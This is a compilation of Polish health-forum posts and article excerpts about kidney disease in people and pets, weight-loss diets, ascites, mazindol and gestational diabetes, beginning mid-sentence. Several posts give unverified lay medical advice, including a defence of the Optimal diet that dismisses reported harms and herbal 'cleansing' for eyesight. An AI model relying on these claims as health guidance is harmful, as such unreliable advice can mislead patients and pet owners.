wskazana jest suplementacja magnezu. Drżenia mogą pojawić się w
ciąży. Mnie zaniepokoiło sformułowanie- non stop. Poradziłabym
konsultację neurologa. Do diety warto włączyć sok pomidorowy. Objawy
takie moga być związane z przemęczeniem, stresem.

Nessie, zdrowie jak zdrowie, ale jest kupa pseudo-zdrowotnych forow, na
ktorych na wszystko radza glodowke, i mnostwo swirow, ktorzy zamiast
wyslac chorych do lekarza, kaza im przechodzic oczyszczajace diety.
Mojej kolezance ktos kiedys poradzil nic nie jesc przez 3 tygodnie jako
lekarstwo na chorobe nerek. Plus niesmiertelne pasozyty oczywiscie, i
odzywianie sie prana (breatharianism). To chyba gorsze niz pro-ana.

Objawy ograniczały się do pogorszenia apetytu, schudnięcia (z 5-kilowej dużej,
dorodnej kotki zrobiła się 3-kilowa chudzina), zwiększonej ilości pitej wody. Z
tego stanu została wyciągnięta kroplówkami podskórnymi i dietą nerkową
(zachęcałam ją do jedzenia, ale nie musiałam karmić jej na siłę). Stopniowo
odzyskała wagę i apetyt, przez większość życia nikt by nie powiedział, że to
chory kot - różniła się od zdrowych tylko dietą i tym, że co drugi dzień
dostawała kroplówkę. Pod koniec życia schudła znacznie, straciła apetyt
całkowicie, wlewy już nie pomagały - nerki stopniowo przestawały pracować, aż w
końcu stanęły zupełnie.

Niestety teraz przerabiam PNN znowu z inną kotką - 13-letnią. Wyciągnęliśmy ją z
"ostrego" stanu, ale nadal nie ma apetytu, dołączyły się inne kłopoty zdrowotne
- wyraźnie widać, że jej organizm jest znacznie słabszy od tamtej, która
zachorowała w młodym wieku. Przyczyny choroby zarówno u jednej, jak i u drugiej
nie zostały określone.

Trzymam kciuki za Was.
Niewydolność nerek nie musi oznaczać wyroku. Mój Kot miał zdiagnozowaną ostrą
niewydolność nerek 3,5 roku temu (miał wtedy 11 lat). Wyciągnęliśmy go z fazy
ostrej nn, ale pozostala przewlekła niewydolność nerek. Kiciuś był na diecie
nerkowej, rok później zaczął przyjmować fortekor (teraz chyba pod nazwą
prilben). Oczywiście regularne badania moczu i USG.
Martwiliśmy się jego nerkami całe lata, a w końcu pokonał go rak. Biedne, chore
nerki zniosły bez problemu chemioterapię (wyniki niewiele się pogorszyły), leki
przeciwbólowe, antybiotyki, sterydy... Działałyby dobrze jeszcze przez wiele
lat, gdyby nie paskudny nowotwór, z którym nie udało się nam wygrać
Więc nie martw się, nie wszystko stracone, Twój Kocur może dobrze funkcjonować i
się czuć jeszcze wiele lat.
Przytulam Ciebie i Kocurka i mocno trzymam kciuki

więcej mokrego, tj. mięska (różnego: wątroba wołowa i nerki wołowe działają
rozluźniająco, to fakt, wiem po swoich) i puszkowego też.
I do jedzenia siemię lniane, może być suche po prostu, w postaci "ziarenek".
Zalane gorącą wodą, rozgotowane, w postaci "glutów" przez niektóre koty jest
chętnie jedzone, nawet nie przemycane do jedzenia.
Jednak może po prostu mniej suchego, można podawać też malt (to jest słód), ale
jeśli przyczyną nie są pilobezoary, to może poza siemieniem, warto podać błonnik
do jedzenia (jest teraz w sprzedaży jako "błonnik polski" w dużych sklepach
spożywczych). Ja go nie miałam (to nowość) kiedy musiałam walczyć z
zatwardzeniem u chorego, więc nie wiem, jak się sprawdzi u kotów. Warto
spróbować. Mojemu choremu musiałam sama dostarczyć błonnik w warzywach
gotowanych zmielonych z mięsem.
Więc próba: dieta mokra, błonnik, siemię lniane, ostatecznie parafina
przed jedzeniem, podana bezpośrednio do pysia (ostrożnie, żeby się nie
zachłysnął, bo to b.groźne), 1 łyżeczka przed jedzeniem, żeby się ślizgało po
jelitach. Olej jadalny podobno nie taki dobry, bo się wchłania, a chodzi o to,
żeby powlekał jelita, nie wchłaniał się, tylko dawał poślizg.

a i jeszcze jedno-pielęgnacja takiej skóry jest niezmiernie trudna i tu nie ma
prostej odpowiedzi jak-wiem z doświadczenia niestety.
a co do diety białkowej by poprawić stan skóry u osoby starszej/chorej to
niestety prędzej wysiądą nerki od nadmiaru aminokwasów, niż poprawi się stan
skóry, bo to nie tylko białka mają wpływ na jej stan przecież.
ten proszek do dozywiania to ensure, napoje też są-nutridrink i ensure

Powiedzmy sobie szczerze - w białej nie ma dobrego lekarza.
Hodowlą psów zajmujemy się od pokoleń.Do lekarza jeździmy do Lublina ,gdyż tam
znajduje się odpowiednia klinika.Ceny porównywalne tak jak w Białej,a nawet
niższe-tyle że do kosztów dochodzi dojazd.Ale warto.
O pani doktor R. można napisać książkę.Jej diagnozy przeszły juz do historii
mieszkańców miasta,posiadających hodowle psów,a nawet poza jego granice.
A o doktorze Rędzikowskim..Ci co polecają na forum jego usługi,sami do tego
dojdą z czasem.Zyczę szczęścia:) A psu wspólczuję.
Laicy ,nie mający zielonego pojęcia o weterynarii,bedą się zachwycać,dobrym
słowem i kroplówkami z "PWE" podawanymi bez sensu.
prosty przykład:
NIKT w Białej nie ma sprzętu do analizy krwi i moczu zwierzęcia.NIKT.A bez tego
nie mozna postawić diagnozy,czy pies ma nowotwór ,chore nerki czy nawet
cukrzycę.A takie diagnozy padają.Pytam się więc skąd one się biorą?
Z badań krwi przeprowadzonych w szpitalu na terebelskiej???Przecież "kombajn"
badający krew psią ,jest przeznaczony do badania_ krwi_ludzkiej!! a ta ma
zupełnie inny skład i parametry odczytu niz psia!
Jak więc lekarz może odczytywać wynik badania krwi(moczu) psa ,z urządzenia
badającego krew(mocz)ludzką??
Musiało zginąć dużo moich psów,leczonych nieprawidłowo- żebym trafiła do
odpowiednich lekarzy,posiadających odpowiedni sprzęt i wiadomości.
Radzę SPOKOJNIE i logicznie o tym pomyśleć.A nawet poszukać w internecie takich
wiadomości,jest ich pełno.
Drugi przykład:
Zaden z lekarzy nie proponuje odpowiedniej diety dla naszych pupili.Psy po
chorobach nerek ,czy otyłe powinny dostawać odpowiednią karmę.Ale o tym się
wogóle nie mówi.Jakby problem nieistniał.
Sterylizacja,szczepienia,parwowiroza ,babeszjoza.Te rzeczy lekarze umieją w
białej robić i leczyć.Ale żeby stwierdzić grzybicę,nowotwór czy inne
choróbska,potrzebne sa specjalistyczne przyrządy ,a nie oko lekarza i gadka szmatka.
A takich przyrządów,powtarzam nie ma w naszym miescie.
Prawdziwym lekarzem w Białej jest ten ,który odsyła pacjenta na badania do
Warszawy lub Lublina.A w białej jest 2 lekarzy którzy to robią-słownie dwóch.
Kiedy opadną już wasze zachwyty,i z czasem sami dojdziecie do takich wniosków i
zmienicie lekarzy,wtedy może byc już za późno.Wiem ,że teraz jesteście wpatrzeni
w waszych vetów,i nic nie przemówi wam do rozsądku.Ale chociaż badania krwi
róbcie w klinikach.Koszt niewielki,ale odczyt PRAWIDŁOWY.
serdecznie pozdrawiam.
p.s.
zainteresowanych adresem kliniki w Lublinie proszę na priv.
A tym nie zainteresowanym,życzę zdrowego rozsądku,trzeźwego spojrzenia i
zaprzestania słuchania milutkiego gadania,bo tu chodzi o zycie psa.

drapieznik napisał(a):

> Sowo, podaj mi prosze link ktory uwazasz za godny pocztania i zastosowania
> praktycznego.

www.members.optushome.com.au/bartim po angielsku, ale sa linki do stron polskich.

> Czy znane sa przypadki ze skonczylo sie dla kogos zle stosowanie diety p. K.?

Ja takich przypadków nie znam. ZAWSZE z rezerwą podchodzę do "sensacji" tego
typu, ktoś tutaj już też to robił na zasadzie..."jedna pani drugiej pani".
U niektórych mogą występować problemy na początku. Mają one swoje uzasdnienie i
po prostu trzeba o tym wiedzieć, np.pewien dyskomfort, budzenie o 3 na ranem z
gotowościa do rozpoczęcia dnia itd ...
Te sensacje , które niektórzy opisuja w wiekszości przypadków jest bład samych
ludzi ... jak DOKŁADNIE rozeznasz sprawe, to sie okazuje , ze oni NIGDY na DO
nie byli !!

Jest bardzo głupie i nierozsądne ocenianie takich przypadków na zasadzie
tworzonej sensacji. Jeśli już cos takiego nastąpiło to trzeba się upewnić, ze
ten ktoś naprawde to robił tak jak trzeba. Poza tym, w pewnych baaaardzo
odosobnionych przypadkach , kiedy naprawdę mamy doczynienia z genetycznie
uzasdnionym problemem MOŻE dojść do tego, że DO może stan pogorszyć. Trzeba o
tym wiedzieć, zdawać sobie z tego sprawę, a przede wszystkim omówić to z
fachowcem tzn. lekarzem optymalnym ze sporą praktyką. Jak mówie - to są baaardzo
rzadkie przypadki. Całość należy oceniać od strony "big picture".

Popatrz ... truje się ludzi równo !! każe sie diabetykom jeść absolutny syf,
cierpia !!, tracą kończyny, wzrok, rujnują nerki... to samo z ludźmi chorymi na
serce... czy wiesz jak fatalne są komplikacje po by-passach , ludzi z choroba
Buergera "leczy" sie amputacjami, ??? itd ... itp ...
Nasza medycyna nauczyła nas to AKCEPTOWAC !!!! i na ogół to robimy :-((

Ale jesli na DO ktoś dostał "sraczki" to Internet NATYCHMIAST od takich
informacji wręcz pulsuje !! Emocje nie są dobrym doradcą.

> A w ogole to wiesz o co mi chodzi. Wesolych swiat!

Wiem :-)) Nawzajem ! :-)))

Sowa

celina
Jak ma się odchudzac osoba, która ma chore nerki? Odpadają wszystkie diety o
których wiem że są skuteczne :(

W książce Atkinsa wspomina się, że nie jest to dieta dla JUŻ chorych na nerki.

magia "guzow"
mj_17 napisała:

> Zapewne masz cellulit(is) i te nierownosci sa uwarunkowane genetycznie (choc
> nie musza) i sa spowodowane nieprawidlowa gospodarka wodno-mineralna.

Pomieszanie z poplataniem. Objawem cellulit(is) nie sa walki tluszczu wielkosci
piesci dziecka zwieszajace sie przy biodrach. Jakim cudem tluszcz owy mialby sie
tworzyc pod wplywem zaburzen wodno-mineralnych (wody to w tych walkach jest
raczej niewiele) tez jakos nie rozumiem. Tacy np. chorzy na nerki ktorzy to
miewaja zaburzone poziomy elektrolitow jak jasna cholera i to w rozne strony
maja zwykle obrzeki a nie guzy tluszczowe. Jak znasz jakis zespol w ktorym
zmiany elektrolitowe powoduja wystapienie tlustego guza gdziekolwiek, nie
konicznie na biodrach to oswiec prosze lekarzy.

Prosilbym takze o informacje jak spinanie posladkow mialoby owe "zaburzenia
wodno-elektrolitowe" korygowac. Moze wtedy zamiast wlewek dozylnych elektrolitow
poprosimy pacjentow aby "spieli sie" tu i owdzie?

Tlusz jest tluszczem a kaloria kaloria -> spalisz wiecej kalorii niz zjadasz
zmniejszysz guzy. Jak pisalem poprzednio, nie ma sensu klapac zuchwa aby
zlikwidowac drugi podbrodek, tlusz na praworecznej, czesciej uzywanej lapie nie
jest cienszy niz na lewej, tak wiec mozesz sobie napinac co tylo Ci do glowy
przyjdzie a i tak jedyne co sie liczy to liczba kalorii spozytych minus liczba
kalorii spalonych. Nieszczesnicy wychodzacy z Oswiecima takowych pseudo-guzow
tluszczowych nie mieli .

Napisawszy powyzsze, wszyscy mamy obszary problemowe z ktorych tluszcz schodzi
jako ostatni. Bywa ze zrzucenie tluszczu z tychze jest na granicy mozliwosci
tego co da sie zrobic w sensownycm czasie. Nie sposob pracowac jak katorznik na
silowni i trzymac jakies super-restrykcyjne diety bo sie nam organizm rozkraczy,
"protestujac" a to urazami a to infekcjami o zwyklym umyslowym marazmie/braku
motywacji nie wspominajac. Jedyne co pozostaje to rozlozyc to w czasie, robic
swoje (cwiczenia kardio, zdrowa dieta) i liczyc ze po roku czy dwoch problem
zniknie.

Puchlina brzuszna

(wodobrzusze, ascites) to obecność nadmiaru wolnego płynu w jamie brzusznej.
Przyczyny

Puchlina brzuszna jest objawem, który występuje w wielu różnych chorobach.
Niektóre przyczyny wodobrzusza to:

nadciśnienie wrotne;
marskość i inne zaburzenia funkcji wątroby;
zapalenie otrzewnej (bakteryjne lub związane z chorobą nowotworową);
choroby nerek;
niewydolność serca;
zarostowe zapalenie osierdzia.
Objawy

Obecność nadmiaru płynu w jamie brzusznej powoduje powiększenie obwodu brzucha,
wzrost masy ciała oraz uczucie ciężaru w brzuchu.

Niekiedy w jamie brzusznej gromadzi się bardzo wiele płynu - nawet do ok. 20
litrów. Brzuch rozciągnięty przez tak dużą ilość płynu ma gładkie, napięte
ściany, a pępek staje się wygładzony lub uwypuklony. Płyn może uciskać na
przeponę, powodując duszności i kłopoty z oddychaniem.

Płyn nagromadzony w jamie brzusznej jest doskonałą pożywką dla bakterii,
dlatego u chorych na wodobrzusze często rozwija się bakteryjne zapalenie
otrzewnej.

Sama obecność płynu w jamie brzusznej nie wywołuje bólu. Ból może być
spowodowany przez chorobę, której objawem jest puchlina brzuszna.

Diagnostyka

Wodobrzusze można rozpoznać na podstawie badania lekarskiego. W przypadku
wątpliwości wykonuje się badanie ultrasonograficzne, które potwierdza obecność
wolnego płynu w jamie brzusznej.

Nakłucie diagnostyczne jamy brzusznej i badanie laboratoryjne pobranego płynu
pozwala wskazać przyczynę puchliny brzusznej.

Leczenie

Dieta niskosodowa i leki moczopędne pozwalają zmniejszyć ilość płynu w jamie
brzusznej. W niektórych przypadkach wykonuje się nakłucie jamy brzusznej
połączone z upuszczeniem większych ilości płynu.

U chorych na bakteryjne zapalenie otrzewnej stosuje się antybiotyki.

Rokowanie

Zależy od skutecznego leczenia choroby powodującej wodobrzusze

Kumano!
przy Fucusie mozesz jesc jak zawsze, nie jest wymagane spozywanie posilkow 5
razy, a co do Mazindolu to slabo hamuje uczucie glodu i mz wiele dzialan
ubocznych, zakazany w ciazy i w czasie karmienia piersia.
Zreszta poczytaj sama
MAZINDOL

Na receptę
Producent Polfa-Warszawa, Polska.
Forma leku: tabletki 1 mg.
Zawartość substancja czynna - imidazoizoindol.
Sposób działania Mazindol działa hamujaco na ośrodki głodu w mózgu. Działa
słabo pobudzająco na centralny system nerwowy.
Zastosowanie Otyłość.
Ostrzeżenie Leku nie wolno podawać pacjentom chorym na jaskrę, nadciśnienie
krwi oraz choroby krążenia. Pacjenci cierpiący na niewydolność nerek oraz
cukrzycę powinni powiadomić o tym lekarza przed rozpoczęciem kuracji. W czasie
leczenia należy zachowywać dietę ubogokaloryczną. Oczekiwany skutek leczenia
może ulec zmianie, jeśli Mazindol stosuje się jednocześnie z innymi lekami.
Preparat wzmaga działanie pochodnych benzo-
diazepin, natomiast osłabia działanie leków obniżających ciśnienie krwi.
Zamiar stosowania innych leków łącznie z Mazindolem należy omówić z lekarzem.
Leku nie podaje się dzieciom poniżej 12 roku życia.
Działania niepożądane Brak danych statystycznych na temat działań ubocznych
leku. Wiadomo jednak, że Mazindol może powodować suchość błon śluzowych jamy
ustnej, dlatego też nieodzowna jest dokładna higiena zębów po każdym posiłku.
Lek może wywołać również zawroty i bóle głowy, zaburzenia w oddawaniu moczu,
częstoskurcz serca oraz nadciśnienie krwi, a także impotencję.
Dawkowanie Dawkę ustala lekarz. Dorośli początkowo 1 mg dziennie przed
śniadaniem. W razie stwierdzenia dobrej tolerancji leku można dawkę zwiększyć
do 2-3 mg (dwie, trzy tabletki). Po uzyskaniu zadowalających rezultatów można
przejść na dawkę podtrzymującą, tj. 1 mg dziennie. Dzieci powyżej 12 lat 1 mg
dziennie podczas obiadu.
Ciąża i karmienie Istnieje prawdopodobieństwo, że preparat oddziałuje na płód.
Nie wolno zażywać leku w okresie ciąży.
Ograniczone doświadczenia ze stosowaniem leku w okresie karmienia dziecka
piersią, należy zatem zasięgnąć opinii lekarza w razie zamiaru stosowania
preparatu w czasie laktacji.

Wkleilam Ci to z encyklopedii lekow
Pozdrawiam
squaw1

nerki a serce
"Badanie pod kątem choroby nerek jest bardzo ważne dla pacjentów z chorobą
sercowo-naczyniową ponieważ choroba nerek jest najpoważniejszym czynnikiem
ryzyka dla CVD" - mówi profesor Frank Brosius, specjalista nefrolog ze szpitala
w Michigan, główny autor pracy. "Lekarze pacjentów z CVD mogą wykonać proste
testy krwi i moczu przy okazji wykonywania innych badań" - dodaje.

W Stanach Zjednoczonych około 11 proc. dorosłych cierpi na choroby związane z
zaburzeniami funkcji lub uszkodzeniem nerek, a śmierć z powodu chorób układu
krążenia dotyka 10 do 30 razy częściej pacjentów poddawanych dializom niż resztę
populacji.

Według krajowego zespołu konsultanta medycznego w dziedzinie nefrologii Prof.
Stanisława Czekalskiego, w Polsce na przewlekłe choroby nerek może być chorych
nawet ponad 4 miliony osób, z czego tylko 200 tysięcy ma świadomość choroby.

W swojej pracy naukowcy z grupy Brosiusa zalecają badanie szybkości przesączania
kłębkowego (z ang. glomerular filtration rate - GFR) - jednego z najlepszych
wskaźników do określania funkcjonowania nerek na podstawie opracowanej w 1993
metody MDRD - (z ang. Modification of Diet in Renal Disease).

Według autorów pracy metoda MDRD powinna być stosowana rutynowo podczas każdego
badania próbek krwi, co pozwoliłoby na wykrycie przewlekłej choroby nerek u
pacjentów z chorobami serca. Białkomocz czyli obecność dużej ilości białka
albuminy w moczu jest innym znakiem świadczącym o uszkodzeniu nerek, również
związanym z podwyższeniem ryzyka dla chorób krążenia, stąd autorzy pracy
zalecają także badanie moczu wszystkim pacjentom cierpiącym na chorobę
sercowo-naczyniową.

"Lekarze powinni sprawdzać działanie nerek swoich pacjentów przy użyciu metody
MDRD i testu na obecność białka w moczu" - mówi Brosius. "Jeśli jeden lub obydwa
testy wskazują na chorobę nerek, oznacza to, że pacjent jest w grupie wysokiego
ryzyka choroby sercowo naczyniowej" - podsumowuje.

Autorzy pracy zalecają wykonywanie obu testów nerek u wszystkich dorosłych
chorych na choroby układu sercowo-naczyniowego, na chorobę wieńcową, zastoinową
niewydolność serca, jak również u osób z grupy wysokiego ryzyka zachorowania na
serce - u pacjentów z cukrzycą czy nadciśnieniem.

z serwisu: www.esculap.pl/

wyniki renoscyntygrafii
Odważyłam się poruszyć nasz wątek na forum dzięki Ciężarówce i jej
stwierdzeniu, że czuje się zdrowa. Nie chcę przyzwyczajać się do myśli, że
mój synek jest chory i tak pozostanie.
Urodził się w 36 tyg. ciąży z wadą układu moczowego (zastawka cewki tylnej),
w 2 tyg. po porodzie miał zabieg wykonania przetok moczowodowo - skórnych w
celu odbarczenia nerek. Musiało być źle, bo mał podwyższone wskaźniki
nerkowe. Jesteśmy prawie rok po zabiegu i czekamy na kolejny, tym razem
chowanie moczowodów. W celu sprawdzenia pracy ukm wykonaliśmy
renoscyntygrafię nerek. W opisie:nerki o nierównym zarysie, dość sprawna
funkja wydzielnicza i wydalnicza, wartości ERPF lewa 44%, prawa56%. Tylko, że
jest wzmianka o wysokim tle naczyniowym, "co może sugerować obustronne
upośledzenie czynności nerek". Co to oznacza? Póki co wskaźniki nerkowe
dobre, ogólnie biochemia "dobra", nasza nafrolog się nie czepia ( może za
mało żelaza, ale poziom hemoglobiny o.k). Pytałam o klirens kreatyniny i
nefrolog i urologa, dali spokój.
Nie oczekiwałam cudów, że wszystko będzie cacy itd. Ale nie wiem jak mam się
ustosunkować do wyników. Urolog twierdzi, że są pozytywne (po tym wszystkim),
nie wiem czy już czy jeszcze pytać o rokowania.
Tak chciałabym uspokoić się, że z tym co mamy będziemy normalnie funkcjonować
(przestrzegając diety, kontrolując pracę ukm), ale wisi nade mną strach
permamenty . Nie wiem do kogo z tymi pytaniami i wątpliwościami ,bo lekarze
póki co tyle na ten temat. Może możecie mi pomóc, może Ciężarówka uświadomi
mi jakie jeszcze badania skonkretyzują sugestię wyników renoscyntygrafii.

A z jaką dietą? Bo są różne diety: dla chorych na cukrzycę, wątrobę,
na nerki...

Na czym polega kuracja? Schorzenie leczy się przede wszystkim dietą, której
przyszła mama powinna rygorystycznie przestrzegać. Nie może jeść cukrów
prostych (słodyczy, miodu, dżemu), białego pieczywa. Nie powinna pić słodzonych
soków, kompotów, herbaty. Musi ograniczyć spożycie potraw tłustych (mięso i
wędliny, tłuste mleko, żółte sery, śmietana). Powinna stosować dietę
lekkostrawną, bogatą w warzywa i owoce (te mniej słodkie), pełnoziarniste
pieczywo. Może też korzystać ze specjalnej żywności dla diabetyków.

Czym grozi cukrzyca? Nieleczona cukrzyca jest niebezpieczna i dla mamy (może
prowadzić do nadciśnienia, zmian naczyniowych, gwałtownego pogorszenia wzroku),
i dla dziecka. Jeśli podwyższone stężenie cukru we krwi przypada na okres
tworzenia się organów maleństwa, może dojść do powstania poważnych wad
wrodzonych np. serca, nerek. W późniejszym okresie ciąży nieleczona cukrzyca
może prowadzić do niedotlenienia płodu.

A jeśli jest leczona? Taka cukrzyca nie stanowi zagrożenia dla mamy. Po
porodzie kobieta zazwyczaj wraca do normalnej diety i odstawia insulinę (jeśli
brała ją w ciąży). Przez pewien czas powinna być pod opieką diabetologa.

Czy dziecko urodzi się zdrowe? Jeśli cukrzyca była leczona, maluchy zwykle
przychodzą na świat zupełnie zdrowe. Sporadycznie zdarza się u nich cukrzyca
wrodzona (jeśli leczenie mamy nie było skuteczne). Choroba mija po kuracji.

Konieczna cesarka? Cukrzyca ciężarnych sama w sobie nie jest do niej
wskazaniem. Ponieważ jednak może nieść za sobą dodatkowe komplikacje (np.
bardzo duże dziecko, podwyższone ciśnienie krwi), często ciąże "cukrzycowe"
kończy się cesarskim cięciem.

Czy wiesz, że...
- U 10% kobiet spodziewających się dziecka występuje tzw. cukrzyca ciężarnych
(nietolerancja węglowodanów).
- Tylko u niespełna 5% przyszłych mam może przejść w tzw. cukrzycę
insulinozależną.
- U 95% kobiet cukrzyca mija po porodzie (nawroty zdarzają się sporadycznie).
- Jedynie około 5% dzieci mam chorych na cukrzycę ciężarnych rodzi się z
cukrzycą wrodzoną (maluchy poddawane są leczeniu).
- Ponad 50% przypadków zachorowań przypada na drugą połowę ciąży.

Dobrze zbilansowane karmy są na pewno lepszym wyborem niż domowe jedzenie z
jednej i podstawowej przyczyny – dostarczają zwierzęciu wszystko w takiej
jakości i ilości jaka potrzebna jest dla prawidłowego funkcjonowania ,
rozwoju ,czy też nawet starzenia się.
Często pojawiającym się argumentem przeciw nim jest ich wysoki stopień
przetworzenia i często obecność konserwantów , a także zdania , że naturalne
mięso jest zdrowsze i wiemy czym karmimy zwierzę. Zapominamy jednak zawsze ,
że w naturalnym środowisku , dziki kot , wilk , czy tez inny drapieżnik nie
dostaje na talerzu – czerwonego sznycelka z wołowinki , czy też piersi
kurczęcia pochodzącej z super intensywnego chowu wymagającego często podawania
substancji chemicznych przyspieszających przyrost masy mięśniowej ( np.
antybiotyków i hormonów) , tylko zjadając upolowaną zwierzynę zaczyna od
zawartości przewodu pokarmowego – np. przeżuwaczy , czy też podrobów ( np.
wątroby ) , które dostarczą mu substancji , w które tak uboga jest tkanka
mięśniowa . Ponadto zjada także rzeczy uznawane przez nas za niejadalne –
czyli kości , sierść , czy też pióra – one też dostarczają mu substancji bez
których jego organizm nie byłby w stanie funkcjonować – a którego mięso mu nie
zapewnia . Podobnie jest z rybami tak ulubionymi przez nasze koty – dzikie
koty nie kupują ryb w sklepie rybnym i zjadają je w stanie natychmiast po
złowieniu – co sprawia , ze nie zdążą się w nich wytworzyć np. substancję o
charakterze antywitamin – niegroźne dla nas ale mogące narobić sporo krzywdy
naszym podopiecznym – jeśli stale będą je przyjmowały z tym ulubionym ich
przysmakiem – niestety niezbyt świeżym.
Przepraszam za dosłowne przykłady – może kogoś rażą – ale taka jest natura – a
niestety my ja bardzo wypaczamy.
Dlatego mądrzy naukowcy myślą o tym ( nie tylko o zarabianiu pieniędzy -
niestety tylko wielkie koncerny maja tyle pieniędzy by przeprowadzać kosztowne
badania żywieniowe i dietetyczne) by zwierzę domowe jadło karmę , która spełni
wszystkie oczekiwania jego organizmu .
Inną sytuacją jest problem karm leczniczych które poruszyłeś – te maja służyć
zdrowiu i my jako lekarze traktujemy je czasem na równi z lekami – po prostu
często nie jesteśmy w stanie
tak przetworzyć domowej diety by nasze zwierzę wracało do zdrowia lub
funkcjonowało bez problemów – np. z zatykającą się cewką moczową , czy też
chorymi nerkami lub wątrobą.
Niestety cywilizacja szkodzi naszym zwierzętom , czasem bardziej niż nam a
gotowe karmy przynajmniej w pewien sposób normują tę sytuację przynajmniej pod
względem żywieniowym.

Witam.
Obydwie diety bardzo odbijają się niekorzystnie na zdrowiu bowiem
szybkia utrata wagi przy stosowaniu obydwu diet bedzie wiązała się z
niedoborami składników odżywczych i znacznym odwodnieniu
organizmu.Dieta dr.Atkinsa jest oparta na zmniejszeniu w diecie
udziału węglowodanów a zwiększeniu białka i tłuszczu.Zasadą
fizjoligiczną jest ze tłuszcze "spalają sie tylko w ogniu
węglowodanów" wobec braku węglowodanów w diecie bedą powstawały
produkty niepełnego spalenia tłuszczu w postaci ciał ketonowych
tj.aceton.Manifestować sie to bedzie znacznym zakwaszeniem
organizmu, bardzo złym samopoczuciem a utrata wagi bedzie jedynie
efektem utraty wody z organizmu. Tej diety nie polecam, nie ma
dowodów naukowych na to ze ludzie faktycznie traca po niej
upragnione kilogramy i co ważniejsze są w stanie nową niższą wage
utrzymac dłużej.
W przypadku diety 1000 k.cal (podejrzewam ze chodzi tu o dietę
kopenhaską) to utrata wagi jest bardziej realistyczna tylko jest ona
niezwykle niedoborowowa pod wzgledem zawartości witamin,
minerałów.Niski udział tłuszczów nawet tych cennych dla zdrowia
bedzie odbijał sie na kondycji skóry i samopoczuciu.Dieta
odchudzająca powinna byc tak stosowana by utrata wagi nie była
gwałtowna bowiem istnieje duże prawdopodobieństwo efektu jojo
(tłuszcz tak naprawde tylko kurczy swoje rozmiary ale nie znika),
dodatkowo skóra nie zdąży sie naciągnąć i bedziesz wygladała jak
babcia.Weż ten aspekt pod uwage.Pozatym chcąc stosować obydwie diety
trzeba wpierw odpowiednimi badaniami sprawdzic stan swojego
zdrowia.Dieta dr.Atkinsa jest zabójcza dla chorych nerek i wątroby
natomiast dieta 1000 k.cal znacznie osłabia prace układu
krwionośnego-serca.Pozdrawiam Maciej

U Twojej mamy najprawdopodobniej doszło do rozwoju nefropatii cukrzycowej
(uszkodzenie nerek w przebiegu cukrzycy). Trzeba oczywiście wykluczyć inne
przyczyny. Informacje jakie podajesz nie wystarczają do oceny zaawansowania
zmian (jaki jest poziom białka, od jak dawna, czy poziom kreatyniny jest
prawidłowy itd ale tak naprawdę są to informacje dla lekarza prowadzącego).
Najważniejszym elementem leczenia jest prawidłowe wyrównanie glikemii (sama
piszesz, że z tym nie jest najlepiej), normalizacja ciśnienia tętniczego krwi i
zaburzeń gospodarki lipidowej. Aby to osiągnąć, jak sama zauważyłaś niezbędne
jest odpowiednie wykształcenie samego pacjenta (skuteczność leczenia cukrzycy
zależy głównie od samego chorego). Odpowiednie szkolenia dla pacjentów
organizują zwykle Poradnie Diatetologiczne- musisz poszukać, w Warszawie są
dwie Kliniki zajmujące się leczeniem cukrzycy- szpital CSK AM ul. Banacha i
szpital przy ul. Kondratowicza i tam powinny być szkoły dla chorych na
cukrzycę.
Co do samego leczenia to zależy od stanu pacjenta, jego wyedukowania i chorób
współistniejących. Należy dążyć do stosowania tzw intensywnej insulinoterapii
(4 iniekcje/dobę- warunek konieczny: pacjent wyedukowany i częste kontrole
glikemii), jako leki zmniejszające białkomocz należy rozważyć preparaty z grupy
tzw blokerów konwertazy (uwaga: mają swoje p/wskazania), w Polsce najczęściej:
np. Enarenal, Captopril, Prestarium, Inhibace. Dieta z ilością białka zależną
od nasilenia białkomoczu. Kontrola nefrologa jak najbardziej wskazana.
Dla Ciebie- nefropatia cukrzycowa jest niestety chorobą postępującą i walka
toczy się o jej spowolnienie, a nie wyleczenie. Pozdrawiam.

Darku, stan oka i wzroku w ogromnej mierze jest pochodna stanu watroby i nerek -
nie musza byc chore, moze tylko oslabione lub przeciazone, wiec dobrze byloby
wspomoc je ziolami oczyszczajacymi i nieobciazajaca te narzady dieta

Osoba dotknięta tą przypadłością,to wówczas 23 letnia kobieta.Leczenie odbyło
się 1973 roku i trwało 3 tygodnie.Zastosowano następujce leki:
Urenil,BLV,Detreomycyna Multywitamina,Amidoxal,Biseptol,Relanium,dieta nerkowa.
Wychodowana bakteria Klepsiella była średnio wrażliwa na streptomycynę,a oporna
na pozostałe antybiotyki.Chorej nie zrobiono wówczas urografi,tylko badania
krwi.Po wyjściu ze szpitala przyjmowała różne leki na chorobę nerek,wykonywano
analizy i posiewy moczu.Zbadano również mocznik i kreatyninę.Wyniki prawidłowe.
A może serce tu ma coś wspólnego z tą częstotliwościa nocnego siusiana.
Lekarz kardiolog podsumował badanie USG serca: Jamy serca niepowiekszone,bez
przerostu ścian i zaburzeń kurczliwości,graniczny przepływ przez zastawkę
aortalną,śladowy podmuch zwrotny pod zastawką mitralną i trójdzielną".
Najtrudniejszy dla niej jest czas,kiedy zje na 3-4 godziny przed snem
np.truskawki,czy czereśnie.Tuż po zjedzeniu tych owoców nie biega często do
toalety,ale za to w godzinę po zaśnięciu,wybudza ją parcie na pęcherz i wtedy
oddaje znacznie więcej moczu, aniżeli w dzień.Budzi sie dosłownie co półtorej
godziny.Zasypia dopiero około godziny 4.00 na ranem,po ostatnim ,dość obfitym
oddaniu moczu.
W czasie dnia,gdy czuje parcie na pęcherz, oddaje moczu nie więcej jak 180-200
ml.
Po zakończeniu szpitalnego leczenia 1973 roku, osoba ta nigdy nie cierpiała na
zapalenie pęcherza ,czy miedniczek nerkowych.Natomiast często zgłaszała
kłopoty z nocnym oddawaniem moczu.Lekarze kierowali ją tylko na badanie moczu i
na tym koniec.Wyniki były dobr,więc nie kierowali na jakieś specjalistyczne
badania.
Urologu, przede wszystkim dziękuję Ci za tak wyczerpującą informację na
poruszony temat i za czas ,który mi poświęciłeś.Gdybym była Twoją pacjentką,to
jakie byś zaproponował leczenie? Może wówczas bym zasugerowała swojemu
lekarzowi rodzinnemu,żeby skierował mnie do dobrego specjalisty, gdzie jest
nowoczesna aparatura do leczenia tych przypadłości.Pozdrawiam serdecznie
Jadwiga.

ForumZdrowie a tutaj tylko o chorobach
W ub.tyg. zacząłem pisać na ten temat i pod koniec coć wcisnąłem i wszystko się
skasowało. Ja swoje "ćwiczenia" nazywam autostymulacją narządową,doszedłem do
znacznej umiejętności tylko na podstawie obserwacji swojego organizmu i
